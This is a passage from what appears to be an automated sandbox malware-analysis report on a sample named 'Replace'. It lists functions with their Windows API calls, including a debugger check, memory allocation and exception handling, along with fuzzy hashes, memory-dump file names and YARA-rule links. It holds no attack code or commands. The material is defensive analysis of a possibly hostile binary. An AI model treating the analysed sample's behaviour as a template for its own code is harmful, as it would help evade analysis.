Instruction Fuzzy Hash: B7017C3660021AEBCB15CE14D840AFBB3F5FF45394B1041AAE806DB610DBB8ED11DBD0

Uniqueness

Uniqueness Score: -1.00%

Function 00BC4F14 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000,71499961,?,?,00000000,00BDA3BE,000000FF,?,00BC4F01,?,00000004,00000004,Function_0000660B,71499961), ref: 00BC4F4C

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 3a34fcf668d4ba7df4163e14157c0039bcd596906da0e423db111d69c25b1e82
Instruction ID: 8d77fee11958bb2d8e1447b9d34a55c6fa180070141efb91de4c2e458fe6f934
Opcode Fuzzy Hash: 3a34fcf668d4ba7df4163e14157c0039bcd596906da0e423db111d69c25b1e82
Instruction Fuzzy Hash: 87F0A733544954FBC7158F08CC51F55F7E8F745B20F11423AE556D36D0DB75A801CA94

Uniqueness

Uniqueness Score: -1.00%

Function 00BC08FC Relevance: 1.3, APIs: 1, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,00BC4FB0,?,?,?,?,00BC516F,00000001), ref: 00BC090D

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 4cf2f37a303b158b1b4521b4f50ae214d8ed2e236048d149df9c03405d9b4f5d
Instruction ID: 8836a5a71398dd2c2583182c2dd0f6ff3c790b3dff6d21a21ea8777a72f226f2
Opcode Fuzzy Hash: 4cf2f37a303b158b1b4521b4f50ae214d8ed2e236048d149df9c03405d9b4f5d
Instruction Fuzzy Hash: 1EB012B03F6205BDFE6813244D3FF6A21449744B8BF10409CB301E90C4FBE068009018

Uniqueness

Uniqueness Score: -1.00%

Function 00BC0945 Relevance: 1.3, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00BC0957

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: d6e829607ac7bffe8e09e4c23e4d861f34650e615a0ff29f189a8675a6684a37
Instruction ID: 530b298e633293b7a62e1608617115a902dc99fcff0051b9ed119aff70df2cb0
Opcode Fuzzy Hash: d6e829607ac7bffe8e09e4c23e4d861f34650e615a0ff29f189a8675a6684a37
Instruction Fuzzy Hash: FFC09230165342EBEA61AB04CD1DF0ABBA0BB91741F21C819B2D4240F08BB05458CB05

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00BCC996 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00BCC9A2
IsDebuggerPresent.KERNEL32 ref: 00BCCA6E
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00BCCA8E
UnhandledExceptionFilter.KERNEL32(?), ref: 00BCCA98

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 3c7476bba35c6fc0eabbb65beae5c9ae99037384c2eb6abab5753b2f51a57a41
Instruction ID: 7c00e0c718c3d0b49f6f365497781dea882ac3538dc6909af5494f6902194426
Opcode Fuzzy Hash: 3c7476bba35c6fc0eabbb65beae5c9ae99037384c2eb6abab5753b2f51a57a41
Instruction Fuzzy Hash: F63118B5D0521CDBDB10DFA4D999BCDBBF8AF18700F1041EAE40CAB250EB709A848F44

Uniqueness

Uniqueness Score: -1.00%

Function 00BCBE82 Relevance: 6.0, APIs: 4, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00BCC07F,00BDB2C0), ref: 00BCBE87
UnhandledExceptionFilter.KERNEL32(00BCC07F,?,00BCC07F,00BDB2C0), ref: 00BCBE90
GetCurrentProcess.KERNEL32(C0000409,?,00BCC07F,00BDB2C0), ref: 00BCBE9B
TerminateProcess.KERNEL32(00000000,?,00BCC07F,00BDB2C0), ref: 00BCBEA2

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: 9e436735abda10228bcc9994156a826b80dcd1c0687b88b4574e2347c977d970
Instruction ID: 4180001ca6e7a8b486fb9975492f8585aed8b7494d03d96d9ba40bebf72930f4
Opcode Fuzzy Hash: 9e436735abda10228bcc9994156a826b80dcd1c0687b88b4574e2347c977d970
Instruction Fuzzy Hash: DFD01231011108FBCB402BE1EC3CE48BF28FB05B02F024002F309A3020EF3144408B55

Uniqueness

Uniqueness Score: -1.00%

Function 00BD1922 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 00BD1A1A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00BD1A24
UnhandledExceptionFilter.KERNEL32(?), ref: 00BD1A31

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 4b86b287a05ffdb70ba0495f67e17417406273e7530d02c0695b2b8d61a77234
Instruction ID: eb96c40f9f943bf0dc7d702b282e6c4d50f14da43d90cac8f8caf1b3e5ff6693
Opcode Fuzzy Hash: 4b86b287a05ffdb70ba0495f67e17417406273e7530d02c0695b2b8d61a77234
Instruction Fuzzy Hash: 7A31C27491122DABCB21DF68D889B89BBF8EF08710F5045DAE41CA7260EB349F818F44

Uniqueness

Uniqueness Score: -1.00%

Function 00BC3EC5 Relevance: 3.3, APIs: 2, Instructions: 849COMMON

Download Yara Rule

APIs

Part of subcall function 00BB45A0: WaitForSingleObject.KERNEL32(?,000000FF,00BC5E12,?,?,?,?,-00000086,000001E4), ref: 00BB45A3
Part of subcall function 00BB45A0: GetLastError.KERNEL32(?,?,?,?,-00000086,000001E4), ref: 00BB45AE

Part of subcall function 00BC3DA3: EnterCriticalSection.KERNEL32(000000B0,00000000,?,00000000,00000000,00000000,00000000,00BC3F31,00000000,00000000,00000000,00000000,?,?,00000000,?), ref: 00BC3DBA
Part of subcall function 00BC3DA3: LeaveCriticalSection.KERNEL32(?,?,?), ref: 00BC3E5E

EnterCriticalSection.KERNEL32(000000B0,00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?), ref: 00BC43A5
LeaveCriticalSection.KERNEL32(000000B0), ref: 00BC43E7

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ErrorLastObjectSingleWait
String ID:
API String ID: 2116739831-0
Opcode ID: 0087f415a537c998ca6c46f7ccf7458fc7b60ca1b2dee9df7a6b65ddc889ab94
Instruction ID: 2eaa3bb16b7a2bbe31d955bfcfc19693e6ed1a5a77d63f7abc1dbd60ec2c1330
Opcode Fuzzy Hash: 0087f415a537c998ca6c46f7ccf7458fc7b60ca1b2dee9df7a6b65ddc889ab94
Instruction Fuzzy Hash: 8272F671A087429FC768CF69C590A2BFBE1FFC9704F14896EE99987210E770E945CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00BD8A3D Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00BD8A38,?,?,00000008,?,?,00BD86D0,00000000), ref: 00BD8C6A

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: ed815a4a8463b310e3058bd46bd2d136134accede75e44835b6182db0e665f2c
Instruction ID: 37488911b7dd707bb267f74be8326a07aefe95b8d08dd0d9608bdecb1779b247
Opcode Fuzzy Hash: ed815a4a8463b310e3058bd46bd2d136134accede75e44835b6182db0e665f2c
Instruction Fuzzy Hash: 7CB17F71210608DFD715CF28C486B65BBE1FF05366F29869AE89ACF3A1D735E981CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00BC0378 Relevance: 1.7, APIs: 1, Instructions: 204COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00BC0490

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: a1300af0e4da64ea7748f1ecc3bffc842d67cde7d8b6f76d00e2b2fe995aefbd
Instruction ID: 4988715e5505b93b805bccb5ea06809b352754464587723e05780ff74b44a90a
Opcode Fuzzy Hash: a1300af0e4da64ea7748f1ecc3bffc842d67cde7d8b6f76d00e2b2fe995aefbd
Instruction Fuzzy Hash: D5712771624741DBDB28EE25C490B2BB7E6FB98314F448A6EF596C7740EB70E8408F52

Uniqueness

Uniqueness Score: -1.00%

Function 00BCCB2A Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001CB36,00BCC33A), ref: 00BCCB2F

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 5500006653dd55f8810bc696a55b2248fd1c154b993903eda18225cd30497762
Instruction ID: edf17751572fb12c1e8cf92a0414af053f80827d7b3b6db29e54fc3c70aee6a8
Opcode Fuzzy Hash: 5500006653dd55f8810bc696a55b2248fd1c154b993903eda18225cd30497762
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00BD4909 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00BD4909

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 53bacc2d8469d518e6abb2138d12e9f0ce77391ec377b088f1d26dcd3342e848
Instruction ID: c324d0a6bc7943474b80df8b30cc9f4c0e864b2f3114f846bf96864d1da76e4e
Opcode Fuzzy Hash: 53bacc2d8469d518e6abb2138d12e9f0ce77391ec377b088f1d26dcd3342e848
Instruction Fuzzy Hash: BCA01270101100CB43108F315D4420976956D402C0701C0255001CA120EF2080505700

Uniqueness

Uniqueness Score: -1.00%

Function 00BBA886 Relevance: .6, Instructions: 598COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac1281bbeea65f2b6bb775c61bcae327fdb296be42dfe688bd3c3b4869dffded
Instruction ID: d429a0b887247a32e9576b83c2036508c3796a7e81c7c0d0428b1ee34c292385
Opcode Fuzzy Hash: ac1281bbeea65f2b6bb775c61bcae327fdb296be42dfe688bd3c3b4869dffded
Instruction Fuzzy Hash: 98323C71900249DFCB55DF28C881AFDBBE5FF48300F1985A9E8599B252DBB0EC91CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00BC2B1F Relevance: .5, Instructions: 525COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4272536b496d5360d8d10fdf1da608a5ede8097c83ee5e6d56a9a01ab42c1ee3
Instruction ID: 3052627eacd027a159bd483021e95651542c59b0c6655dc3425634b67aae5545
Opcode Fuzzy Hash: 4272536b496d5360d8d10fdf1da608a5ede8097c83ee5e6d56a9a01ab42c1ee3
Instruction Fuzzy Hash: B50290327043158FD708CF2DC980A6ABBE2ABC8744F554ABDF496DB290D630DA46CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00BB9EDE Relevance: .5, Instructions: 451COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46a73b7ab401534dcad57af5bb67378b429419085b78b06654a418b9e52df2b8
Instruction ID: 4bd7d115fc509eec7c290d7593fe4ab8088248fdba65b59f7827c8859cb93ff1
Opcode Fuzzy Hash: 46a73b7ab401534dcad57af5bb67378b429419085b78b06654a418b9e52df2b8
Instruction Fuzzy Hash: B5026574E002169FCB14DF68C5909FDB7F6FF49310B1081A9E91AAB312DBB1AC01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00BB1054 Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d1d98452d4e15de4c435841c218ce5782cfebf9cea2bbbd4bdeba8d300dfbe8
Instruction ID: 2be3dcf26cecbcf93ca8102b60f887db6348c23e0b99522a73f8469c699cceda
Opcode Fuzzy Hash: 7d1d98452d4e15de4c435841c218ce5782cfebf9cea2bbbd4bdeba8d300dfbe8
Instruction Fuzzy Hash: 804135326142408BD718CE1CC9A47FE77D6E7C5320F954EBEE246A3554CAB48D84C792

Uniqueness

Uniqueness Score: -1.00%

Function 00BBD7F1 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdfae7e78cc4344e88ec60d9e2ddd2f725764665496e2c425a25bc36bbe30783
Instruction ID: ad6cbe00aa7fb2ef403c10ea59b6436c4f4a7202b3181dd57dfce08ea1c2183e
Opcode Fuzzy Hash: bdfae7e78cc4344e88ec60d9e2ddd2f725764665496e2c425a25bc36bbe30783
Instruction Fuzzy Hash: 0A2195715206224BC316DE1DDC845B6F7D0FB89306F86826AEE819B285C769F829C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 00BBD75B Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d90cc63b55ef834e9be2b037506950026b519ddfc119c0db8de5c85cc2953256
Instruction ID: 8f453bff510d62e05629d52a9ce77f6d49cb36bdd15bab1ecf01560e85946cc6
Opcode Fuzzy Hash: d90cc63b55ef834e9be2b037506950026b519ddfc119c0db8de5c85cc2953256
Instruction Fuzzy Hash: 38112B71A105310BD71AD92F8C846F677D5EBC9315F8AC3A6DC819B688DA6CFC25C2E0

Uniqueness

Uniqueness Score: -1.00%

Function 00BC08B5 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 508c0c16835d7cd0af089b5ca690a3cc53402b89785868abd31ce742de31e14b
Instruction ID: 902af3c7580fde475d60e5982b60e3bcaca6cb1a9ad7c3c9723a3646290e7170
Opcode Fuzzy Hash: 508c0c16835d7cd0af089b5ca690a3cc53402b89785868abd31ce742de31e14b
Instruction Fuzzy Hash: D2F0A4B5E05219EF8B08CFADC48089EFBF5FF48214B1080AEE859E3350D730AA00CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00BD26E3 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9178e3d3e202cc242b353f9f2b4307d72396d8a4188a379d4015bd546c8b6c8b
Instruction ID: b9cc5a72d47b4c950d97e6f2bc96e3b4a553e8e5ac0bdbf2e3205575c6921a4f
Opcode Fuzzy Hash: 9178e3d3e202cc242b353f9f2b4307d72396d8a4188a379d4015bd546c8b6c8b
Instruction Fuzzy Hash: D9E08C32911278EBCB28DB88CA0498AF3FCEB44B10B1500ABF501E3250D270DE04C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 00BD457F Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00BD45C3

Part of subcall function 00BD4138: _free.LIBCMT ref: 00BD4155
Part of subcall function 00BD4138: _free.LIBCMT ref: 00BD4167
Part of subcall function 00BD4138: _free.LIBCMT ref: 00BD4179
Part of subcall function 00BD4138: _free.LIBCMT ref: 00BD418B
Part of subcall function 00BD4138: _free.LIBCMT ref: 00BD419D
Part of subcall function 00BD4138: _free.LIBCMT ref: 00BD41AF
Part of subcall function 00BD4138: _free.LIBCMT ref: 00BD41C1
Part of subcall function 00BD4138: _free.LIBCMT ref: 00BD41D3
Part of subcall function 00BD4138: _free.LIBCMT ref: 00BD41E5
Part of subcall function 00BD4138: _free.LIBCMT ref: 00BD41F7
Part of subcall function 00BD4138: _free.LIBCMT ref: 00BD4209
Part of subcall function 00BD4138: _free.LIBCMT ref: 00BD421B
Part of subcall function 00BD4138: _free.LIBCMT ref: 00BD422D

_free.LIBCMT ref: 00BD45B8

Part of subcall function 00BD1BFB: RtlFreeHeap.NTDLL(00000000,00000000,?,00BD42C9,?,00000000,?,00000001,?,00BD42F0,?,00000007,?,?,00BD4716,?), ref: 00BD1C11
Part of subcall function 00BD1BFB: GetLastError.KERNEL32(?,?,00BD42C9,?,00000000,?,00000001,?,00BD42F0,?,00000007,?,?,00BD4716,?,?), ref: 00BD1C23

_free.LIBCMT ref: 00BD45DA
_free.LIBCMT ref: 00BD45EF
_free.LIBCMT ref: 00BD45FA
_free.LIBCMT ref: 00BD461C
_free.LIBCMT ref: 00BD462F
_free.LIBCMT ref: 00BD463D
_free.LIBCMT ref: 00BD4648
_free.LIBCMT ref: 00BD4680
_free.LIBCMT ref: 00BD4687
_free.LIBCMT ref: 00BD46A4
_free.LIBCMT ref: 00BD46BC

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
